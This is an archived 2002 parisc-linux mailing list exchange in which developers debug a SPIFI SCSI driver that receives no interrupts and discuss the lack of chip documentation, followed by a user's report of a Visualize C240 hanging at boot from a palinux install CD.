pinout,
so that we can isolate signals we're trying to find.

So if you can provide us with the pin numbers we should plug on,
that would help a lot ! :)
>
> As I already mentioned in another mail, I think, we
> DO NOT access the real device. As I have mentioned,
> we only read out 0x0000ff00 at each address and we
> "write" the SCSI command in an invalid space ! So this
> is "OK", that the chip do not produce any interrupts !
>
> I think, this is a very basic problem of the bus or
> i/o bus initilization or the Loquix init, or whatever.
>
> I do not expect any frame on the SCSI output !
>
> Bye
> Christoph
>
>
> Ryan Bradetich wrote:
>>
>> Hello Christoph,
>>
>> On Sun, 2002-09-15 at 17:25, Christoph Plattner wrote:
>>> Hallo Ryan,
>>>
>>> here some comments on my non-successful work so far.
>>>
>>> I did code reading and used debug instrumented code
>>> to understand the structure behind the linux SCSI
>>> handling.
>>>
>>> Further I studied the NetBSD code.
>>>
>>> One major point: We do not get any interrupts.
>>> For my analysis I only had a look on the first
>>> steps of SCSI initialization, so this was the
>>> INQUERY command.
>>
>> This is where I am also currently stuck :(  The
>> ESIEE guys are going to hook up an analyzer to the
>> box and see if the target device is getting the command
>> (ie... did we send the command correctly to the device)
>> or if the device returns a command (do we catch the
>> command the device is returning).  I have been studyting
>> the setup routines in the HP-UX driver and I believe
>> I have the chip initialized properly ... but I am not
>> sure why I am not getting any interrupts.   Hopefully
>> between ESIEE, you, and myself and anyone else
>> interested we can figure this out.
>>
>>> The spifi command routine is called correctly,
>>> but it has a wrong logical implementation. As I
>>> have seen on other (older) linux driver, the
>>> xxx_command() has to block, after the command was
>>> successful completed by interrupt. But the interrupt
>>> never comes !! Even a "long" delay for simulating
>>> blocking does not solve this problem.
>>
>> That is highly possible.  The driver skeleton is just
>> a test harness for me right now.  I am just trying to see
>> what I can get returned from the spifi chip (that is why
>> most of the functions are stubs with printk.  Once I see
>> an interrupt come in, I'll start working on putting that piece
>> togeather.
>>
>>> =46rom base of the NetBSD code, I cannot follow your
>>> code resetting the spifi subsystem. I think you have
>>> this from HP-UX code. Especially the
>>>
>>>   __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);
>>
>> Yes, this is part of the initizlization from the HP-UX
>> driver.  The Loquix chip sits between the HP-PB bus, and
>> the spifi scsi chip.  According to the HP-UX driver, the
>> Loquix chip also required some setup.  Once again, I
>> do not actually have the Loquix documentation, but I might
>> have a lead on it.  Will have to wait and see if that lead
>> pans out.
>>
>>> Is this a reset method via the IO PDC address space
>>> common for all HP devices ? In the NetBSD the full
>>> reset is done only via the `auxctrl' register, which
>>> you use for releasing the reset state.
>>
>> I am not sure about all the HP devices.  It might be an iodc
>> specific call.  I will have to look at the driver again,
>> but that might reset the loquix chip *shrug* I'll take
>> a look and see what I can find.
>>
>>> So we have a principal problem here, not having correct
>>> access to the spifi subsystem. Except: the SCSI-ID is
>>> read out correctly, I think, as ...
>>>
>>> SCSI subsystem driver Revision: 1.00
>>> DEBUG: 0xfff74c00
>>> Device: Sahp Baat Kiuh SCSI
>>> scsi0 : SPIFI SCSI: scsi_id: 7 IRQ: 34 type: SPIFI-3 (SE) parity
>>> checking: enabled
>>>
>>> ... is reported !
>>
>> That is where I am also. We actually read the type SPIFI-3 (SE) for=20=

>> the
>> SKUNK card, and SPIFI-3 (DF) for the wizard (16-bit) card.  I have
>> tested this on both cards so I know it works.  I am convinced we are
>> reading the correct information from the card, but what I am not
>> convinced of is that we have it setup properly yet :)  The problem is=20=

>> I
>> do not know what I am missing yet :(
>>
>>> Is everything around the interrupt subsystem setup correctly ?
>>> The `cat /proc/interrupts' tells ...
>>>
>>> bash# cat /proc/interrupts
>>>           CPU396195552
>>>  32:     124925      PARISC-CPU  timer
>>>  33:      19767      PARISC-CPU  lasi
>>>  34:          0      PARISC-CPU  spifi
>>>  87:      19767            Lasi  i82596
>>>
>>> ... which is no surprise ... !
>>>
>>
>> I do not think the fact the interrupt is registered is very=20
>> infomative,
>> I think you can register an interrupt for device even if it doesn't=20=

>> have
>> an real irq assocaitated with it (ie... the serial mux).
>>
>> Yeah, thanks for looking at it ... we will have to beat on it some=20
>> more
>> and see what we can find.  Hopefully the ESIEE guys will be able to
>> provide us with some good information!
>>
>> Thanks
>>
>> - Ryan
>>
>>> Till soon,
>>> Christoph P.
>>>
>>>
>>>
>>>
>>>
>>> --
>>> -------------------------------------------------------
>>> private:      christoph.plattner@gmx.at
>>> company:      christoph.plattner@alcatel.at
>>>
>>
>> _______________________________________________
>> parisc-linux mailing list
>> parisc-linux@lists.parisc-linux.org
>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
> --=20
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Status SPIFI SCSI
Date: Tue, 17 Sep 2002 23:31:28 +0200
Organization: private
Lines: 219
Approved: news@gmane.org
Message-ID: <3D879F30.5D9A928C@gmx.at>
References: <98404C4A-CA77-11D6-8C42-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621727 14089 80.91.229.3 (22 Nov 2014 02:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:07 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 15:31:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E9AC4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 15:31:40 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020917213137.HIFC29435.viefep14-int.chello.at@gmx.at>;
          Tue, 17 Sep 2002 23:31:37 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16158

Hello,

the problem I wanted to point out is, that not the SCSI
interface problem is the point.

IMO we have a simple (take the word "simple" not too 
critical ...) software setup problem. It seems, that
we do not access the chip physically.

I have no NDA, I have no possibility to look into the
source codes of HP-UX (but I want to have it !!), I have
no hardware docu, no chip docu (although I am able to
read them and I want to have access), so my help here
is very restricted !!!

But one small hint: The "chip selelct" line and the
low order address bits, to see if there is really a
hardware access to this chip. Further perhaps the
read and write control line. I do not know the 
HP own bus system (I also miss such documentation),
but I use simple the words of a standard bus access
(RD, WR, CS or CE, address lines, data lines).

HOW CAN I GET DOCUMENTATIONS ????

Bye
Christoph



Thibaut VARENE wrote:
> 
> Le mardi, 17 sep 2002,  20:33 Europe/Paris, Christoph Plattner a crit
> :
> 
> Hi Christoph,
> > Hello Ryan,
> >
> > I think usinf the logic analyser will not help you on the
> > SCSI bus. You need the logic analyser on the SPIFI chip!!!
> That's not a problem,
> atm we have a 16channels analyser (we can have up to 128 if needed),
> we tried using the HP 2423A SCSI preprocessor, but ours seems b0rken,
> therefore we decided to plug directly onto the scsi board.
> 
> So plugging onto SPIFI chip shouldn't be a pb, as long as we have its
> pinout,
> so that we can isolate signals we're trying to find.
> 
> So if you can provide us with the pin numbers we should plug on,
> that would help a lot ! :)
> >
> > As I already mentioned in another mail, I think, we
> > DO NOT access the real device. As I have mentioned,
> > we only read out 0x0000ff00 at each address and we
> > "write" the SCSI command in an invalid space ! So this
> > is "OK", that the chip do not produce any interrupts !
> >
> > I think, this is a very basic problem of the bus or
> > i/o bus initilization or the Loquix init, or whatever.
> >
> > I do not expect any frame on the SCSI output !
> >
> > Bye
> > Christoph
> >
> >
> > Ryan Bradetich wrote:
> >>
> >> Hello Christoph,
> >>
> >> On Sun, 2002-09-15 at 17:25, Christoph Plattner wrote:
> >>> Hallo Ryan,
> >>>
> >>> here some comments on my non-successful work so far.
> >>>
> >>> I did code reading and used debug instrumented code
> >>> to understand the structure behind the linux SCSI
> >>> handling.
> >>>
> >>> Further I studied the NetBSD code.
> >>>
> >>> One major point: We do not get any interrupts.
> >>> For my analysis I only had a look on the first
> >>> steps of SCSI initialization, so this was the
> >>> INQUERY command.
> >>
> >> This is where I am also currently stuck :(  The
> >> ESIEE guys are going to hook up an analyzer to the
> >> box and see if the target device is getting the command
> >> (ie... did we send the command correctly to the device)
> >> or if the device returns a command (do we catch the
> >> command the device is returning).  I have been studyting
> >> the setup routines in the HP-UX driver and I believe
> >> I have the chip initialized properly ... but I am not
> >> sure why I am not getting any interrupts.   Hopefully
> >> between ESIEE, you, and myself and anyone else
> >> interested we can figure this out.
> >>
> >>> The spifi command routine is called correctly,
> >>> but it has a wrong logical implementation. As I
> >>> have seen on other (older) linux driver, the
> >>> xxx_command() has to block, after the command was
> >>> successful completed by interrupt. But the interrupt
> >>> never comes !! Even a "long" delay for simulating
> >>> blocking does not solve this problem.
> >>
> >> That is highly possible.  The driver skeleton is just
> >> a test harness for me right now.  I am just trying to see
> >> what I can get returned from the spifi chip (that is why
> >> most of the functions are stubs with printk.  Once I see
> >> an interrupt come in, I'll start working on putting that piece
> >> togeather.
> >>
> >>> From base of the NetBSD code, I cannot follow your
> >>> code resetting the spifi subsystem. I think you have
> >>> this from HP-UX code. Especially the
> >>>
> >>>   __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);
> >>
> >> Yes, this is part of the initizlization from the HP-UX
> >> driver.  The Loquix chip sits between the HP-PB bus, and
> >> the spifi scsi chip.  According to the HP-UX driver, the
> >> Loquix chip also required some setup.  Once again, I
> >> do not actually have the Loquix documentation, but I might
> >> have a lead on it.  Will have to wait and see if that lead
> >> pans out.
> >>
> >>> Is this a reset method via the IO PDC address space
> >>> common for all HP devices ? In the NetBSD the full
> >>> reset is done only via the `auxctrl' register, which
> >>> you use for releasing the reset state.
> >>
> >> I am not sure about all the HP devices.  It might be an iodc
> >> specific call.  I will have to look at the driver again,
> >> but that might reset the loquix chip *shrug* I'll take
> >> a look and see what I can find.
> >>
> >>> So we have a principal problem here, not having correct
> >>> access to the spifi subsystem. Except: the SCSI-ID is
> >>> read out correctly, I think, as ...
> >>>
> >>> SCSI subsystem driver Revision: 1.00
> >>> DEBUG: 0xfff74c00
> >>> Device: Sahp Baat Kiuh SCSI
> >>> scsi0 : SPIFI SCSI: scsi_id: 7 IRQ: 34 type: SPIFI-3 (SE) parity
> >>> checking: enabled
> >>>
> >>> ... is reported !
> >>
> >> That is where I am also. We actually read the type SPIFI-3 (SE) for
> >> the
> >> SKUNK card, and SPIFI-3 (DF) for the wizard (16-bit) card.  I have
> >> tested this on both cards so I know it works.  I am convinced we are
> >> reading the correct information from the card, but what I am not
> >> convinced of is that we have it setup properly yet :)  The problem is
> >> I
> >> do not know what I am missing yet :(
> >>
> >>> Is everything around the interrupt subsystem setup correctly ?
> >>> The `cat /proc/interrupts' tells ...
> >>>
> >>> bash# cat /proc/interrupts
> >>>           CPU396195552
> >>>  32:     124925      PARISC-CPU  timer
> >>>  33:      19767      PARISC-CPU  lasi
> >>>  34:          0      PARISC-CPU  spifi
> >>>  87:      19767            Lasi  i82596
> >>>
> >>> ... which is no surprise ... !
> >>>
> >>
> >> I do not think the fact the interrupt is registered is very
> >> infomative,
> >> I think you can register an interrupt for device even if it doesn't
> >> have
> >> an real irq assocaitated with it (ie... the serial mux).
> >>
> >> Yeah, thanks for looking at it ... we will have to beat on it some
> >> more
> >> and see what we can find.  Hopefully the ESIEE guys will be able to
> >> provide us with some good information!
> >>
> >> Thanks
> >>
> >> - Ryan
> >>
> >>> Till soon,
> >>> Christoph P.
> >>>
> >>>
> >>>
> >>>
> >>>
> >>> --
> >>> -------------------------------------------------------
> >>> private:      christoph.plattner@gmx.at
> >>> company:      christoph.plattner@alcatel.at
> >>>
> >>
> >> _______________________________________________
> >> parisc-linux mailing list
> >> parisc-linux@lists.parisc-linux.org
> >> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> > --
> > -------------------------------------------------------
> > private:      christoph.plattner@gmx.at
> > company:      christoph.plattner@alcatel.at
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Status SPIFI SCSI
Date: Tue, 17 Sep 2002 23:43:49 +0200
Lines: 253
Approved: news@gmane.org
Message-ID: <8CCD3676-CA86-11D6-8C42-0030656F07A2@esiee.fr>
References: <3D879F30.5D9A928C@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621727 14093 80.91.229.3 (22 Nov 2014 02:02:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:07 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 15:44:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id D33F54829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 15:44:04 -0600 (MDT)
Original-Received: from npyu.esiee.net ([213.245.40.23]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020917214400.HBGD9517.viefep15-int.chello.at@npyu.esiee.net>;
          Tue, 17 Sep 2002 23:44:00 +0200
In-Reply-To: <3D879F30.5D9A928C@gmx.at>
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16159

Le mardi, 17 sep 2002, =E0 23:31 Europe/Paris, Christoph Plattner a =
=E9crit=20
:

> Hello,
>
> the problem I wanted to point out is, that not the SCSI
> interface problem is the point.
yes i got that.
>
> IMO we have a simple (take the word "simple" not too
> critical ...) software setup problem. It seems, that
> we do not access the chip physically.
ok
>
> I have no NDA, I have no possibility to look into the
> source codes of HP-UX (but I want to have it !!), I have
> no hardware docu, no chip docu (although I am able to
> read them and I want to have access), so my help here
> is very restricted !!!
Alas, it looks like we're all in the same case here...
>
> But one small hint: The "chip selelct" line and the
> low order address bits, to see if there is really a
> hardware access to this chip. Further perhaps the
> read and write control line. I do not know the
I agree on the fact that CS;R/W; and other signal are
mandatory to trace chip activity, but if we don't have
a somehow precise pinout, it will be helpless...
We can eventually trace all pins of the chipset, but if
we don't know what is what, that won't be useful.
> HP own bus system (I also miss such documentation),
> but I use simple the words of a standard bus access
> (RD, WR, CS or CE, address lines, data lines).
>
> HOW CAN I GET DOCUMENTATIONS ????
Alas, they're all "for your eyes only".
We've been fighting with such a problem for ages.
We have lots of old 725 cards (SCSI, ATM and others)
for which we couldn't developp driver since we didn't have
any doc.
Same for newest graphic cards (FX series)...

If someone can help on that point, that would be really
awesome.

Of course we (at ESIEE) are ready to sign a NDA...
>
> Bye
> Christoph
>
Thibaut.
>
>
> Thibaut VARENE wrote:
>>
>> Le mardi, 17 sep 2002, =E0 20:33 Europe/Paris, Christoph Plattner a=20=

>> =E9crit
>> :
>>
>> Hi Christoph,
>>> Hello Ryan,
>>>
>>> I think usinf the logic analyser will not help you on the
>>> SCSI bus. You need the logic analyser on the SPIFI chip!!!
>> That's not a problem,
>> atm we have a 16channels analyser (we can have up to 128 if needed),
>> we tried using the HP 2423A SCSI preprocessor, but ours seems b0rken,
>> therefore we decided to plug directly onto the scsi board.
>>
>> So plugging onto SPIFI chip shouldn't be a pb, as long as we have its
>> pinout,
>> so that we can isolate signals we're trying to find.
>>
>> So if you can provide us with the pin numbers we should plug on,
>> that would help a lot ! :)
>>>
>>> As I already mentioned in another mail, I think, we
>>> DO NOT access the real device. As I have mentioned,
>>> we only read out 0x0000ff00 at each address and we
>>> "write" the SCSI command in an invalid space ! So this
>>> is "OK", that the chip do not produce any interrupts !
>>>
>>> I think, this is a very basic problem of the bus or
>>> i/o bus initilization or the Loquix init, or whatever.
>>>
>>> I do not expect any frame on the SCSI output !
>>>
>>> Bye
>>> Christoph
>>>
>>>
>>> Ryan Bradetich wrote:
>>>>
>>>> Hello Christoph,
>>>>
>>>> On Sun, 2002-09-15 at 17:25, Christoph Plattner wrote:
>>>>> Hallo Ryan,
>>>>>
>>>>> here some comments on my non-successful work so far.
>>>>>
>>>>> I did code reading and used debug instrumented code
>>>>> to understand the structure behind the linux SCSI
>>>>> handling.
>>>>>
>>>>> Further I studied the NetBSD code.
>>>>>
>>>>> One major point: We do not get any interrupts.
>>>>> For my analysis I only had a look on the first
>>>>> steps of SCSI initialization, so this was the
>>>>> INQUERY command.
>>>>
>>>> This is where I am also currently stuck :(  The
>>>> ESIEE guys are going to hook up an analyzer to the
>>>> box and see if the target device is getting the command
>>>> (ie... did we send the command correctly to the device)
>>>> or if the device returns a command (do we catch the
>>>> command the device is returning).  I have been studyting
>>>> the setup routines in the HP-UX driver and I believe
>>>> I have the chip initialized properly ... but I am not
>>>> sure why I am not getting any interrupts.   Hopefully
>>>> between ESIEE, you, and myself and anyone else
>>>> interested we can figure this out.
>>>>
>>>>> The spifi command routine is called correctly,
>>>>> but it has a wrong logical implementation. As I
>>>>> have seen on other (older) linux driver, the
>>>>> xxx_command() has to block, after the command was
>>>>> successful completed by interrupt. But the interrupt
>>>>> never comes !! Even a "long" delay for simulating
>>>>> blocking does not solve this problem.
>>>>
>>>> That is highly possible.  The driver skeleton is just
>>>> a test harness for me right now.  I am just trying to see
>>>> what I can get returned from the spifi chip (that is why
>>>> most of the functions are stubs with printk.  Once I see
>>>> an interrupt come in, I'll start working on putting that piece
>>>> togeather.
>>>>
>>>>> =46rom base of the NetBSD code, I cannot follow your
>>>>> code resetting the spifi subsystem. I think you have
>>>>> this from HP-UX code. Especially the
>>>>>
>>>>>   __raw_writel(CMD_RESET, dev->hpa + IO_MODULE_COMMAND);
>>>>
>>>> Yes, this is part of the initizlization from the HP-UX
>>>> driver.  The Loquix chip sits between the HP-PB bus, and
>>>> the spifi scsi chip.  According to the HP-UX driver, the
>>>> Loquix chip also required some setup.  Once again, I
>>>> do not actually have the Loquix documentation, but I might
>>>> have a lead on it.  Will have to wait and see if that lead
>>>> pans out.
>>>>
>>>>> Is this a reset method via the IO PDC address space
>>>>> common for all HP devices ? In the NetBSD the full
>>>>> reset is done only via the `auxctrl' register, which
>>>>> you use for releasing the reset state.
>>>>
>>>> I am not sure about all the HP devices.  It might be an iodc
>>>> specific call.  I will have to look at the driver again,
>>>> but that might reset the loquix chip *shrug* I'll take
>>>> a look and see what I can find.
>>>>
>>>>> So we have a principal problem here, not having correct
>>>>> access to the spifi subsystem. Except: the SCSI-ID is
>>>>> read out correctly, I think, as ...
>>>>>
>>>>> SCSI subsystem driver Revision: 1.00
>>>>> DEBUG: 0xfff74c00
>>>>> Device: Sahp Baat Kiuh SCSI
>>>>> scsi0 : SPIFI SCSI: scsi_id: 7 IRQ: 34 type: SPIFI-3 (SE) parity
>>>>> checking: enabled
>>>>>
>>>>> ... is reported !
>>>>
>>>> That is where I am also. We actually read the type SPIFI-3 (SE) for
>>>> the
>>>> SKUNK card, and SPIFI-3 (DF) for the wizard (16-bit) card.  I have
>>>> tested this on both cards so I know it works.  I am convinced we =
are
>>>> reading the correct information from the card, but what I am not
>>>> convinced of is that we have it setup properly yet :)  The problem=20=

>>>> is
>>>> I
>>>> do not know what I am missing yet :(
>>>>
>>>>> Is everything around the interrupt subsystem setup correctly ?
>>>>> The `cat /proc/interrupts' tells ...
>>>>>
>>>>> bash# cat /proc/interrupts
>>>>>           CPU396195552
>>>>>  32:     124925      PARISC-CPU  timer
>>>>>  33:      19767      PARISC-CPU  lasi
>>>>>  34:          0      PARISC-CPU  spifi
>>>>>  87:      19767            Lasi  i82596
>>>>>
>>>>> ... which is no surprise ... !
>>>>>
>>>>
>>>> I do not think the fact the interrupt is registered is very
>>>> infomative,
>>>> I think you can register an interrupt for device even if it doesn't
>>>> have
>>>> an real irq assocaitated with it (ie... the serial mux).
>>>>
>>>> Yeah, thanks for looking at it ... we will have to beat on it some
>>>> more
>>>> and see what we can find.  Hopefully the ESIEE guys will be able to
>>>> provide us with some good information!
>>>>
>>>> Thanks
>>>>
>>>> - Ryan
>>>>
>>>>> Till soon,
>>>>> Christoph P.
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>
>>>>> --
>>>>> -------------------------------------------------------
>>>>> private:      christoph.plattner@gmx.at
>>>>> company:      christoph.plattner@alcatel.at
>>>>>
>>>>
>>>> _______________________________________________
>>>> parisc-linux mailing list
>>>> parisc-linux@lists.parisc-linux.org
>>>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>>>
>>> --
>>> -------------------------------------------------------
>>> private:      christoph.plattner@gmx.at
>>> company:      christoph.plattner@alcatel.at
>>> _______________________________________________
>>> parisc-linux mailing list
>>> parisc-linux@lists.parisc-linux.org
>>> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
> --=20
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dannf@fc.hp.com (dann)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [lists] installing Linux on A Visualise C240
Date: Tue, 17 Sep 2002 15:53:31 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20020917215331.GE19148@fc.hp.com>
References: <DAV71Y9P3bVYbrNQrl50000bc9b@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621728 14099 80.91.229.3 (22 Nov 2014 02:02:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:08 +0000 (UTC)
To: Yves Vrijhoeven <yvesvrijhoeven@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 15:53:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA3AA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 15:53:33 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 4ACD6A00BEC; Tue, 17 Sep 2002 17:53:32 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 1DDF337ED5; Tue, 17 Sep 2002 15:53:32 -0600 (MDT)
Original-Received: from hazel.fc.hp.com (hazel.fc.hp.com [15.1.52.8])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 0F00D46B8; Tue, 17 Sep 2002 15:53:32 -0600 (MDT)
Original-Received: by hazel.fc.hp.com (Postfix, from userid 20800)
	id BFC85CA6F8; Tue, 17 Sep 2002 15:53:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <DAV71Y9P3bVYbrNQrl50000bc9b@hotmail.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16160

Yves,
  forwarding to the parisc-linux, which is a more appropriate place
for this question.

as an aside, 0.9.3 is not the latest release - debian 3.0 contains newer bits.
<hint>maybe one of these days someone will point that out on -announce</hint>


On Tue, Sep 17, 2002 at 11:46:39PM +0200, Yves Vrijhoeven wrote:
> Hi,
> 
> I downloaded the "palinux-0.9.3.iso" and burned it to CD.  If I put the CD in PA RISC powerd PC (Visualise C240) and boot with the command "bo sescsi.3.0" the PC seems to boot from the CD (I get somewhere the message "palo ipl 0.96 root@palinux Fri Nov  2 16:31:18 MST 2001" ...(clock setting is not correct))
> Everything seems ok until I get the message:
> ...
> Branching to kernel entry point 0x00100000.  If this is the last message you see, you may need to switch your console.  This is a common sympton -- sarch the FAQ and mailing list at parisc-linux.org
> 
> After this nothing happens anymore.  I searched the FAQ and mailing list but I could not find a solution so far.
> 
> Anyone can help me out on this.
> 
> Thanks in advance.
> 
> Please E-mail me.
> 
> Yves Vrijhoeven
> yves.vrijhoeven@belgacom.net
> yvesvrijhoeven@belgacom.net

-- 
---------------------------
dann frazier
Hewlett-Packard
Linux Systems Division
dannf@hp.com
(970) 898-0800


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [lists] installing Linux on A Visualise C240
Date: Tue, 17 Sep 2002 23:46:03 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <3D87BEBB.5080306@freebel.net>
References: <DAV71Y9P3bVYbrNQrl50000bc9b@hotmail.com> <20020917215331.GE19148@fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621728 14105 80.91.229.3 (22 Nov 2014 02:02:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:08 +0000 (UTC)
Cc: Yves Vrijhoeven <yvesvrijhoeven@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
